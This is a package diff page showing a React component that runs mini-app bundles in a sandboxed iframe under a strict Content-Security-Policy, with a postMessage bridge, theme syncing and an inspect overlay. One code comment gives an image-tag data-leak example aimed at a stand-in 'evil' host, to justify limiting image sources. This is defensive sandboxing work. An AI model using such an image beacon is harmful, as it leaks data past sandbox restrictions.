@crossworks/share-ui 0.230.43

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (44) hide show
  1. package/LICENSE.md +135 -0
  2. package/package.json +68 -0
  3. package/src/app-bridge-protocol.ts +115 -0
  4. package/src/app-presenter.tsx +25 -0
  5. package/src/app-sandbox.tsx +552 -0
  6. package/src/appearance.ts +192 -0
  7. package/src/avatar.test.ts +229 -0
  8. package/src/avatar.ts +731 -0
  9. package/src/backgrounds.test.ts +119 -0
  10. package/src/backgrounds.ts +118 -0
  11. package/src/draw-presenter.tsx +39 -0
  12. package/src/event-presenter.tsx +62 -0
  13. package/src/file-presenter.tsx +76 -0
  14. package/src/formula-calculator.tsx +209 -0
  15. package/src/formula-presenter.test.ts +128 -0
  16. package/src/formula-presenter.tsx +301 -0
  17. package/src/help-topics.ts +104 -0
  18. package/src/lib/ink-audit.test.ts +314 -0
  19. package/src/lib/theme-css-blocks.ts +26 -0
  20. package/src/lib/theme-generator.test.ts +179 -0
  21. package/src/lib/theme-registry.gen.ts +352 -0
  22. package/src/lib/themes.test.ts +308 -0
  23. package/src/lib/themes.ts +75 -0
  24. package/src/lib/utils.ts +6 -0
  25. package/src/nav-items.ts +225 -0
  26. package/src/note-presenter.tsx +14 -0
  27. package/src/page-outline.tsx +127 -0
  28. package/src/table-presenter.tsx +226 -0
  29. package/src/task-presenter.tsx +60 -0
  30. package/src/ui/button.tsx +50 -0
  31. package/src/ui/input.tsx +18 -0
  32. package/src/ui/label.tsx +20 -0
  33. package/src/view-payload.ts +82 -0
  34. package/styles/app.css +1098 -0
  35. package/styles/themes.css +6198 -0
  36. package/themes/generate.d.mts +11 -0
  37. package/themes/generate.mjs +618 -0
  38. package/themes/model.d.mts +24 -0
  39. package/themes/model.mjs +213 -0
  40. package/themes/preview.html +145 -0
  41. package/themes/seeds.d.mts +16 -0
  42. package/themes/seeds.mjs +3694 -0
  43. package/tsconfig.json +15 -0
  44. package/tsconfig.tsbuildinfo +1 -0
@@ -0,0 +1,552 @@
1
+ 'use client';
2
+
3
+ /**
4
+ * Runs a built mini app inside a sandboxed iframe. The app's bundle is fetched
5
+ * (authenticated, same-origin) and INLINED into the iframe's srcdoc, so the
6
+ * iframe runs with an opaque origin (sandbox="allow-scripts", NO
7
+ * allow-same-origin) — it can't read host cookies/DOM/storage. Its only channel
8
+ * is postMessage to this parent, which brokers tool + sqlite calls server-side.
9
+ *
10
+ * Theme parity: we inline the parent's already-compiled CSS and copy the active
11
+ * theme attrs (class + data-color-theme) onto the iframe <html>, so the app
12
+ * matches the product look (incl. dark mode + colour theme) with no network.
13
+ */
14
+ import { useCallback, useEffect, useRef, useState } from 'react';
15
+ import {
16
+ isFromApp,
17
+ isHubNavTarget,
18
+ type BridgeReq,
19
+ type HubData,
20
+ type HubNavTarget,
21
+ } from './app-bridge-protocol';
22
+
23
+ type Status = 'loading' | 'ready' | 'nobuild' | 'error';
24
+
25
+ /** Serialize every same-origin stylesheet the host has loaded (Tailwind output
26
+ * + theme vars). Cross-origin sheets throw on .cssRules — skipped. Cached: the
27
+ * app's CSS doesn't change within a session. */
28
+ /** The shared-runtime import map (specifier → hashed `/app-runtime` URL),
29
+ * fetched once per session. The app's bundle imports react/react-dom/the kit/
30
+ * @host as BARE specifiers (the bundler marks them external); this map — injected
31
+ * into the srcdoc — resolves them to the ONE shared runtime, so the browser
32
+ * fetches + parses React once across every app + reload instead of each app
33
+ * re-bundling it. manifest.json is public + same-origin (see middleware). */
34
+ let importMapPromise: Promise<string> | null = null;
35
+ function loadImportMap(): Promise<string> {
36
+ if (!importMapPromise) {
37
+ importMapPromise = fetch('/app-runtime/manifest.json')
38
+ .then((r) => {
39
+ if (!r.ok) throw new Error(`app-runtime manifest ${r.status}`);
40
+ return r.json() as Promise<{ imports: Record<string, string> }>;
41
+ })
42
+ .then((m) => JSON.stringify({ imports: m.imports }))
43
+ .catch((e) => {
44
+ importMapPromise = null; // let the next mount retry
45
+ throw e;
46
+ });
47
+ }
48
+ return importMapPromise;
49
+ }
50
+
51
+ let cssCache: string | null = null;
52
+ function captureHostCss(): string {
53
+ if (cssCache !== null) return cssCache;
54
+ let out = '';
55
+ for (const sheet of Array.from(document.styleSheets)) {
56
+ try {
57
+ for (const rule of Array.from(sheet.cssRules)) out += rule.cssText + '\n';
58
+ } catch {
59
+ /* cross-origin sheet — skip */
60
+ }
61
+ }
62
+ cssCache = out;
63
+ return out;
64
+ }
65
+
66
+ /** The host stylesheet markup to drop into the iframe <head>. We LINK the same
67
+ * stylesheet files the host already loaded (so the browser reuses its cached,
68
+ * already-parsed copy instead of re-parsing ~400 KB of inlined CSS per srcdoc)
69
+ * and inline only the small dynamic <style> tags (theme vars next-themes
70
+ * injects, etc.). Falls back to a full inline capture when the host exposes no
71
+ * <link> stylesheets (e.g. some dev setups inline everything). */
72
+ function hostStyleMarkup(): string {
73
+ const links = Array.from(document.querySelectorAll<HTMLLinkElement>('link[rel="stylesheet"]'))
74
+ .map((l) => l.href)
75
+ .filter(Boolean);
76
+ if (links.length === 0) return `<style>${captureHostCss()}</style>`;
77
+ const inline = Array.from(document.querySelectorAll('style'))
78
+ .map((s) => s.textContent || '')
79
+ .join('\n');
80
+ const linkTags = links.map((href) => `<link rel="stylesheet" href="${href}" />`).join('\n');
81
+ return `${linkTags}\n<style>${inline}</style>`;
82
+ }
83
+
84
+ // Host-injected "inspect mode" overlay. Lives in the iframe but is NOT part of
85
+ // the app bundle, so it works on every app with no rebuild and stays a host
86
+ // concern. When the parent posts {kind:'inspect',on:true}, hovering outlines the
87
+ // nearest [data-app-region] ancestor and clicking locks it (clicking the same
88
+ // one clears it). The locked region is posted back as {kind:'select'}; the
89
+ // parent feeds it to Appsmith as focusRegionIds. Esc exits. Pure DOM, defensive.
90
+ const INSPECTOR = `
91
+ (function(){
92
+ var on=false, locked=null, hovered=null, lbl=null;
93
+ function regionOf(el){
94
+ while(el && el.nodeType===1 && el!==document.body){
95
+ if(el.getAttribute && el.hasAttribute('data-app-region')) return el;
96
+ el=el.parentElement;
97
+ }
98
+ return null;
99
+ }
100
+ function q(id){ try{ return id ? document.querySelector('[data-app-region="'+(window.CSS&&CSS.escape?CSS.escape(id):id)+'"]') : null; }catch(e){ return null; } }
101
+ function label(){
102
+ if(!lbl){
103
+ lbl=document.createElement('div');
104
+ lbl.style.cssText='position:fixed;z-index:2147483647;pointer-events:none;display:none;font:500 11px/1.4 ui-sans-serif,system-ui,sans-serif;padding:2px 6px;border-radius:4px;background:var(--ring,#3b82f6);color:#fff;box-shadow:0 1px 4px rgba(0,0,0,.35);white-space:nowrap;';
105
+ document.body.appendChild(lbl);
106
+ }
107
+ return lbl;
108
+ }
109
+ function paintLocked(){
110
+ var prev=document.querySelectorAll('[data-app-locked]');
111
+ for(var i=0;i<prev.length;i++){ prev[i].removeAttribute('data-app-locked'); prev[i].style.outline=''; prev[i].style.outlineOffset=''; }
112
+ var el=q(locked);
113
+ if(el){ el.setAttribute('data-app-locked','1'); el.style.outline='2px solid var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
114
+ }
115
+ function clearHover(){
116
+ if(hovered && !hovered.hasAttribute('data-app-locked')){ hovered.style.outline=''; hovered.style.outlineOffset=''; }
117
+ hovered=null;
118
+ if(lbl) lbl.style.display='none';
119
+ }
120
+ function onMove(e){
121
+ if(!on) return;
122
+ var el=regionOf(e.target);
123
+ if(el===hovered) return;
124
+ clearHover();
125
+ if(!el) return;
126
+ hovered=el;
127
+ if(!el.hasAttribute('data-app-locked')){ el.style.outline='2px dashed var(--ring,#3b82f6)'; el.style.outlineOffset='1px'; }
128
+ var r=el.getBoundingClientRect(), L=label();
129
+ L.textContent=el.getAttribute('data-app-region');
130
+ L.style.display='block';
131
+ L.style.left=Math.max(2,r.left)+'px';
132
+ L.style.top=Math.max(2,r.top-20)+'px';
133
+ }
134
+ function onClick(e){
135
+ if(!on) return;
136
+ var el=regionOf(e.target);
137
+ if(!el) return;
138
+ e.preventDefault(); e.stopPropagation(); if(e.stopImmediatePropagation) e.stopImmediatePropagation();
139
+ var id=el.getAttribute('data-app-region');
140
+ locked=(locked===id)?null:id;
141
+ clearHover(); paintLocked();
142
+ window.parent.postMessage({ v:1, kind:'select', regionId:locked, label:locked }, '*');
143
+ onMove(e);
144
+ }
145
+ function setOn(v){ on=v; document.body.style.cursor=v?'crosshair':''; if(!v) clearHover(); }
146
+ window.addEventListener('message', function(e){
147
+ if(e.source!==window.parent) return;
148
+ var m=e.data; if(!m||m.v!==1) return;
149
+ if(m.kind==='inspect'){ setOn(!!m.on); return; }
150
+ if(m.kind==='select'){ locked=m.regionId||null; clearHover(); paintLocked(); return; }
151
+ if(m.kind==='theme'){ var h=document.documentElement; h.className=m.cls||''; if(m.colorTheme){ h.setAttribute('data-color-theme', m.colorTheme); } else { h.removeAttribute('data-color-theme'); } return; }
152
+ });
153
+ document.addEventListener('mousemove', onMove, true);
154
+ document.addEventListener('click', onClick, true);
155
+ document.addEventListener('keydown', function(e){ if(on && e.key==='Escape'){ setOn(false); window.parent.postMessage({v:1,kind:'inspect',on:false},'*'); } });
156
+ })();
157
+ `;
158
+
159
+ function buildSrcDoc(bundleCode: string, importMapJson: string, viewport: boolean): string {
160
+ const html = document.documentElement;
161
+ const cls = html.className || '';
162
+ const colorTheme = html.dataset.colorTheme
163
+ ? ` data-color-theme="${html.dataset.colorTheme}"`
164
+ : '';
165
+ const styleMarkup = hostStyleMarkup();
166
+ // CSP: the app may only render — NO network of its own. `connect-src 'none'`
167
+ // blocks fetch/XHR/WebSocket, but img/font loads are network too, so they're
168
+ // held to inline sources only (data:/blob:) — a wildcard there would be an
169
+ // exfil channel (`<img src="https://evil/?d=…">`) despite connect-src 'none'.
170
+ // The app's only egress is the postMessage bridge to the parent, which
171
+ // brokers tool + sqlite calls server-side. Inline style + script are ours.
172
+ //
173
+ // The iframe has an opaque origin, so CSP `'self'` matches NOTHING here; we
174
+ // name the host origin + path explicitly, scoped tight so neither is a general
175
+ // egress channel: `script-src` allows ONLY `<origin>/app-runtime/` (the shared
176
+ // React/kit/host runtime the import map points at); `style-src` allows ONLY
177
+ // `<origin>/_next/` (the host's compiled stylesheet, linked not inlined).
178
+ //
179
+ // `font-src` MIRRORS `style-src`, and must keep mirroring it. Allowing the
180
+ // stylesheet while refusing the faces it declares is self-defeating: the host
181
+ // sheet carries KaTeX's `@font-face` rules (katex.min.css is imported by the
182
+ // client layout), whose URLs resolve to `<origin>/_next/static/media/…`. With
183
+ // `font-src data:` alone every mini-app logged a CSP violation on load and any
184
+ // app rendering maths fell back to system fonts. This widens nothing: it
185
+ // permits fonts from exactly the path already trusted for styles.
186
+ const origin = location.origin;
187
+ const csp =
188
+ `default-src 'none'; style-src 'unsafe-inline' ${origin}/_next/; ` +
189
+ `script-src 'unsafe-inline' ${origin}/app-runtime/; ` +
190
+ `img-src data: blob:; font-src data: ${origin}/_next/; ` +
191
+ "connect-src 'none'; base-uri 'none'; form-action 'none'";
192
+ return `<!doctype html>
193
+ <html class="${cls}"${colorTheme}>
194
+ <head>
195
+ <meta charset="utf-8" />
196
+ <meta http-equiv="Content-Security-Policy" content="${csp}" />
197
+ <script type="importmap">${importMapJson}</script>
198
+ ${styleMarkup}
199
+ <style>/* Paint the iframe canvas with the theme background, NOT transparent: a
200
+ sandboxed (opaque-origin) iframe renders WHITE where it's transparent, so any
201
+ gap between the app content and the iframe height showed a white strip. With
202
+ the themed background, any such gap is invisible (matches the app + host). */
203
+ html,body{margin:0;background:var(--background)}#root{padding:0}
204
+ /* Themed scrollbars for the WHOLE app. The host only styles scrollbars behind an
205
+ opt-in .scrollbar-thin class, so an app's own scroll containers otherwise fall
206
+ back to the default wide OS scrollbar with a white/grey track that clashes with
207
+ the theme. Apply the thin, theme-token look to every scroller inside the iframe
208
+ (scoped here, so the host is untouched). Vars resolve from the inlined theme. */
209
+ *{scrollbar-width:thin;scrollbar-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent) transparent}
210
+ ::-webkit-scrollbar{width:10px;height:10px}
211
+ ::-webkit-scrollbar-track{background:transparent}
212
+ ::-webkit-scrollbar-thumb{background-color:color-mix(in oklab,var(--muted-foreground) 30%,transparent);border-radius:6px;border:2px solid transparent;background-clip:padding-box}
213
+ ::-webkit-scrollbar-thumb:hover{background-color:color-mix(in oklab,var(--muted-foreground) 50%,transparent);background-clip:padding-box}
214
+ ::-webkit-scrollbar-corner{background:transparent}
215
+ ${
216
+ viewport
217
+ ? `/* Viewport frame: the iframe IS the viewport, so viewport-height utilities
218
+ are real and the app owns its own layout + scrolling. Full-height plumbing
219
+ so h-full works from the root down. */
220
+ html,body,#root{height:100%}
221
+ body{overflow:auto}`
222
+ : `/* Card frame: the app is embedded in an auto-sized iframe with no real
223
+ viewport, so viewport-height utilities would inflate it into a tall,
224
+ mostly-empty box (a small app leaves a big blank area below). Collapse them
225
+ to content height — the iframe then hugs the actual content. Belt-and-braces
226
+ with the authoring rule that tells Appsmith not to use these. */
227
+ .min-h-screen,.min-h-dvh,.min-h-svh,.min-h-lvh{min-height:0!important}
228
+ .h-screen,.h-dvh,.h-svh,.h-lvh{height:auto!important}`
229
+ }</style>
230
+ </head>
231
+ <body class="bg-background text-foreground">
232
+ <div id="root"></div>
233
+ <script type="module">${bundleCode}</script>
234
+ <script>${INSPECTOR}</script>
235
+ </body>
236
+ </html>`;
237
+ }
238
+
239
+ export function AppSandbox({
240
+ appId,
241
+ shareToken,
242
+ frame = 'card',
243
+ reloadKey = 0,
244
+ onError,
245
+ inspect = false,
246
+ selectedRegionId = null,
247
+ onSelect,
248
+ onInspectChange,
249
+ hub,
250
+ apiBase: apiBaseOverride,
251
+ fetcher,
252
+ onLoadFailure,
253
+ }: {
254
+ appId: string;
255
+ /** When set, render in share mode: the bundle + tool/db brokers are
256
+ * fetched from /s/<token>/* (share-authed, published build only) instead of
257
+ * the session-authed /api/apps/<id>/* routes. */
258
+ shareToken?: string;
259
+ /** How the app is framed.
260
+ * 'card' — legacy inline embed: the iframe auto-sizes to the app's
261
+ * content inside a bordered card (list previews).
262
+ * 'viewport' — the iframe fills its parent (give the parent a real height,
263
+ * e.g. h-dvh or flex-1 min-h-0); the app owns its internal
264
+ * layout + scrolling, and viewport-height utilities are real. */
265
+ frame?: 'card' | 'viewport';
266
+ /** Bump to force a re-fetch + re-render (e.g. after a build/publish). */
267
+ reloadKey?: number;
268
+ onError?: (message: string) => void;
269
+ /** When true, hovering the preview outlines [data-app-region]s and clicking
270
+ * one locks it (inspect mode). */
271
+ inspect?: boolean;
272
+ /** The host-held locked selection — pushed down to keep the iframe's outline
273
+ * in sync (e.g. cleared when the user dismisses the focus chip). */
274
+ selectedRegionId?: string | null;
275
+ /** The user locked or cleared a region in the preview (null = cleared). */
276
+ onSelect?: (regionId: string | null) => void;
277
+ /** The iframe changed inspect state itself (e.g. Esc to exit). */
278
+ onInspectChange?: (on: boolean) => void;
279
+ /** Team-hub host API — passed ONLY by the /team shell. `getData` answers the
280
+ * app's `hub.get` locally from the payload the shell already fetched (no new
281
+ * server surface); `onNav` handles the app's validated `hub.nav` intents
282
+ * (open chat / open a briefing — the SHELL owns those views). When absent,
283
+ * `hub.get` is rejected and `hub.nav` ignored, so a hub app rendered on any
284
+ * other surface degrades to its local preview. */
285
+ hub?: {
286
+ getData: () => HubData;
287
+ onNav: (target: HubNavTarget) => void;
288
+ };
289
+ /** Absolute API base override — the split client's hub passes the SERVER
290
+ * origin's /s/<token> here so the parent-page broker fetches cross origins.
291
+ * Absent ⇒ the same-origin derivation below (unchanged). */
292
+ apiBase?: string;
293
+ /** Fetch used for the bundle/tool-broker/db-broker calls ONLY — the split
294
+ * client injects a bearer-attaching wrapper (a cross-origin broker call
295
+ * can't ride a cookie). Defaults to plain fetch. */
296
+ fetcher?: (input: string, init?: RequestInit) => Promise<Response>;
297
+ /** The bundle could not be fetched/rendered (missing build or load error).
298
+ * The /team shell uses this to fall back to the built-in hub instead of
299
+ * showing members a broken slot. */
300
+ onLoadFailure?: () => void;
301
+ }) {
302
+ // Public share mode swaps the session-authed API base for the token-authed
303
+ // public one; the route suffixes (bundle / tool-broker / db-broker) match.
304
+ // An explicit apiBase (the split client's cross-origin hub) wins outright.
305
+ const apiBase = apiBaseOverride ?? (shareToken ? `/s/${shareToken}` : `/api/apps/${appId}`);
306
+ const iframeRef = useRef<HTMLIFrameElement>(null);
307
+ const [status, setStatus] = useState<Status>('loading');
308
+ const [height, setHeight] = useState(320);
309
+ // Whether THIS bundle load ever reached ready — distinguishes a boot crash
310
+ // (error before ready ⇒ load failure) from a runtime error after boot.
311
+ const everReadyRef = useRef(false);
312
+
313
+ const postToFrame = useCallback((msg: unknown) => {
314
+ iframeRef.current?.contentWindow?.postMessage(msg, '*');
315
+ }, []);
316
+
317
+ // Hold the callbacks in refs so effects can call the latest without listing
318
+ // them as deps. Parents pass inline closures (e.g. onError={(m)=>toast(m)})
319
+ // that change identity every render — without this, typing in the Assist box
320
+ // re-ran the bundle-fetch effect below and reloaded the iframe (white flash).
321
+ // `fetcher` rides along for the same reason (the split hub passes an inline
322
+ // bearer-attaching wrapper); the default stays a plain window-bound fetch.
323
+ const cbRef = useRef({ onError, onSelect, onInspectChange, hub, onLoadFailure });
324
+ cbRef.current = { onError, onSelect, onInspectChange, hub, onLoadFailure };
325
+ const fetcherRef = useRef(fetcher);
326
+ fetcherRef.current = fetcher;
327
+ const doFetch = useCallback(
328
+ (input: string, init?: RequestInit) =>
329
+ fetcherRef.current ? fetcherRef.current(input, init) : fetch(input, init),
330
+ [],
331
+ );
332
+
333
+ // Push inspect-mode + the locked selection down whenever they change or the
334
+ // app (re)becomes ready, so a fresh iframe inherits the current state.
335
+ useEffect(() => {
336
+ if (status !== 'ready') return;
337
+ postToFrame({ v: 1, kind: 'inspect', on: inspect });
338
+ }, [inspect, status, postToFrame]);
339
+ useEffect(() => {
340
+ if (status !== 'ready') return;
341
+ postToFrame({ v: 1, kind: 'select', regionId: selectedRegionId });
342
+ }, [selectedRegionId, status, postToFrame]);
343
+
344
+ // Mirror the host's live theme (the <html> class + data-color-theme) into the
345
+ // iframe so a dark/light or colour-theme switch restyles a RUNNING app without
346
+ // a reload — the srcdoc only baked in the theme as of mount. Sync once on ready
347
+ // (covers a change between srcdoc build and mount), then on every host change.
348
+ useEffect(() => {
349
+ if (status !== 'ready') return;
350
+ const send = () => {
351
+ const h = document.documentElement;
352
+ postToFrame({
353
+ v: 1,
354
+ kind: 'theme',
355
+ cls: h.className || '',
356
+ colorTheme: h.dataset.colorTheme ?? null,
357
+ });
358
+ };
359
+ send();
360
+ const obs = new MutationObserver(send);
361
+ obs.observe(document.documentElement, {
362
+ attributes: true,
363
+ attributeFilter: ['class', 'data-color-theme'],
364
+ });
365
+ return () => obs.disconnect();
366
+ }, [status, postToFrame]);
367
+
368
+ // Broker a request from the app and post the correlated response back.
369
+ const handleRequest = useCallback(
370
+ async (req: BridgeReq) => {
371
+ const reply = (res: { ok: boolean; output?: unknown; error?: string }) => {
372
+ iframeRef.current?.contentWindow?.postMessage({ v: 1, id: req.id, ...res }, '*');
373
+ };
374
+ try {
375
+ if (req.kind === 'hub.get') {
376
+ // Answered locally — the /team shell already holds the hub payload.
377
+ // No hub prop ⇒ not the /team surface ⇒ reject so the app can render
378
+ // its off-hub preview instead of waiting forever.
379
+ const hubApi = cbRef.current.hub;
380
+ if (hubApi) reply({ ok: true, output: hubApi.getData() });
381
+ else reply({ ok: false, error: 'hub API is only available on the /team surface' });
382
+ return;
383
+ }
384
+ if (req.kind === 'tool.call') {
385
+ const r = await doFetch(`${apiBase}/tool-broker`, {
386
+ method: 'POST',
387
+ headers: { 'content-type': 'application/json' },
388
+ body: JSON.stringify({ slug: req.slug, input: req.input }),
389
+ });
390
+ const data = await r.json();
391
+ // 403 == the slug isn't in the app's declared tools. That's a wiring
392
+ // bug, not a transient failure — surface it plainly to the builder
393
+ // even if the app's own code swallows the rejection.
394
+ if (r.status === 403 && data?.ok === false) {
395
+ cbRef.current.onError?.(
396
+ `This app tried to use the tool “${req.slug}”, which it hasn't declared. ` +
397
+ `Add it to the app's tools (app_tools_set) — or ask Appsmith to — before it can run.`,
398
+ );
399
+ }
400
+ reply(data);
401
+ return;
402
+ }
403
+ // db.query | db.exec
404
+ const op = req.kind === 'db.query' ? 'query' : 'exec';
405
+ const r = await doFetch(`${apiBase}/db-broker`, {
406
+ method: 'POST',
407
+ headers: { 'content-type': 'application/json' },
408
+ body: JSON.stringify({ op, sql: req.sql, params: req.params ?? [] }),
409
+ });
410
+ reply(await r.json());
411
+ } catch (err) {
412
+ reply({ ok: false, error: err instanceof Error ? err.message : String(err) });
413
+ }
414
+ },
415
+ [apiBase, doFetch],
416
+ );
417
+
418
+ // Listen for messages from THIS iframe only.
419
+ useEffect(() => {
420
+ const onMessage = (e: MessageEvent) => {
421
+ if (e.source !== iframeRef.current?.contentWindow) return;
422
+ const m = e.data;
423
+ if (!isFromApp(m)) return;
424
+ if (m.kind === 'ready') {
425
+ setStatus('ready');
426
+ everReadyRef.current = true;
427
+ return;
428
+ }
429
+ if (m.kind === 'resize') {
430
+ // Viewport frames ignore content-height reports — the iframe is sized
431
+ // by its container and the app scrolls itself.
432
+ if (frame !== 'viewport') setHeight(Math.max(80, Math.min(4000, Math.ceil(m.height))));
433
+ return;
434
+ }
435
+ if (m.kind === 'error') {
436
+ cbRef.current.onError?.(m.message);
437
+ // An error BEFORE the app ever became ready is a mount/boot crash (the
438
+ // kit's ErrorBoundary posts it synchronously during the first render,
439
+ // ahead of the ready signal) — a load failure, not a runtime hiccup.
440
+ if (!everReadyRef.current) cbRef.current.onLoadFailure?.();
441
+ return;
442
+ }
443
+ if (m.kind === 'select') {
444
+ cbRef.current.onSelect?.(m.regionId);
445
+ return;
446
+ }
447
+ if (m.kind === 'inspect') {
448
+ cbRef.current.onInspectChange?.(m.on);
449
+ return;
450
+ }
451
+ if (m.kind === 'hub.nav') {
452
+ // Validate before navigating — never act on a malformed message from a
453
+ // (possibly buggy) app bundle. Ignored off the /team surface.
454
+ if (isHubNavTarget(m.target)) cbRef.current.hub?.onNav(m.target);
455
+ return;
456
+ }
457
+ // A request needing a response.
458
+ void handleRequest(m);
459
+ };
460
+ window.addEventListener('message', onMessage);
461
+ return () => window.removeEventListener('message', onMessage);
462
+ }, [handleRequest, frame]);
463
+
464
+ // Ready watchdog: a bundle that FETCHES fine but never boots (module-level
465
+ // throw, an import-map chunk failing inside the opaque iframe) leaves status
466
+ // on 'loading' forever — the fetch error paths below never see it. Give the
467
+ // app a generous window to post `ready`, then report a load failure so a
468
+ // hub-surface parent can fall back instead of pinning members on a spinner.
469
+ useEffect(() => {
470
+ if (status !== 'loading') return;
471
+ const t = setTimeout(() => cbRef.current.onLoadFailure?.(), 10_000);
472
+ return () => clearTimeout(t);
473
+ }, [status, reloadKey, apiBase]);
474
+
475
+ // Fetch the bundle and (re)render into the iframe.
476
+ useEffect(() => {
477
+ let cancelled = false;
478
+ setStatus('loading');
479
+ everReadyRef.current = false;
480
+ Promise.all([doFetch(`${apiBase}/bundle`), loadImportMap()])
481
+ .then(async ([r, importMap]) => {
482
+ if (cancelled) return;
483
+ if (r.status === 404) {
484
+ setStatus('nobuild');
485
+ cbRef.current.onLoadFailure?.();
486
+ return;
487
+ }
488
+ if (!r.ok) {
489
+ setStatus('error');
490
+ cbRef.current.onError?.(`bundle load failed (${r.status})`);
491
+ cbRef.current.onLoadFailure?.();
492
+ return;
493
+ }
494
+ const code = await r.text();
495
+ if (cancelled || !iframeRef.current) return;
496
+ iframeRef.current.srcdoc = buildSrcDoc(code, importMap, frame === 'viewport');
497
+ })
498
+ .catch((err) => {
499
+ if (cancelled) return;
500
+ setStatus('error');
501
+ cbRef.current.onError?.(err instanceof Error ? err.message : String(err));
502
+ cbRef.current.onLoadFailure?.();
503
+ });
504
+ return () => {
505
+ cancelled = true;
506
+ };
507
+ }, [apiBase, reloadKey, frame, doFetch]);
508
+
509
+ const isViewport = frame === 'viewport';
510
+ return (
511
+ <div
512
+ className={
513
+ isViewport
514
+ ? 'relative h-full w-full overflow-hidden bg-background'
515
+ : 'relative w-full overflow-hidden rounded-lg border border-border bg-background'
516
+ }
517
+ >
518
+ {status === 'nobuild' && (
519
+ <div
520
+ className={`flex items-center justify-center p-6 text-center text-sm text-muted-foreground ${isViewport ? 'h-full' : 'h-40'}`}
521
+ >
522
+ {isViewport
523
+ ? 'This app isn’t available right now.'
524
+ : 'This app hasn’t been built yet. Ask Appsmith to build it, or run a build from the editor.'}
525
+ </div>
526
+ )}
527
+ {status === 'error' && (
528
+ <div
529
+ className={`flex items-center justify-center p-6 text-center text-sm text-destructive-ink ${isViewport ? 'h-full' : 'h-40'}`}
530
+ >
531
+ {isViewport ? 'Couldn’t load the app.' : 'Couldn’t load the app preview.'}
532
+ </div>
533
+ )}
534
+ <iframe
535
+ ref={iframeRef}
536
+ title={isViewport ? 'App' : 'App preview'}
537
+ sandbox="allow-scripts"
538
+ className={
539
+ status === 'ready' ? (isViewport ? 'block h-full w-full' : 'block w-full') : 'hidden'
540
+ }
541
+ style={isViewport ? { border: '0' } : { height, border: '0', width: '100%' }}
542
+ />
543
+ {status === 'loading' && (
544
+ <div
545
+ className={`flex items-center justify-center p-6 text-sm text-muted-foreground ${isViewport ? 'h-full' : 'h-40'}`}
546
+ >
547
+ {isViewport ? 'Loading…' : 'Loading preview…'}
548
+ </div>
549
+ )}
550
+ </div>
551
+ );
552
+ }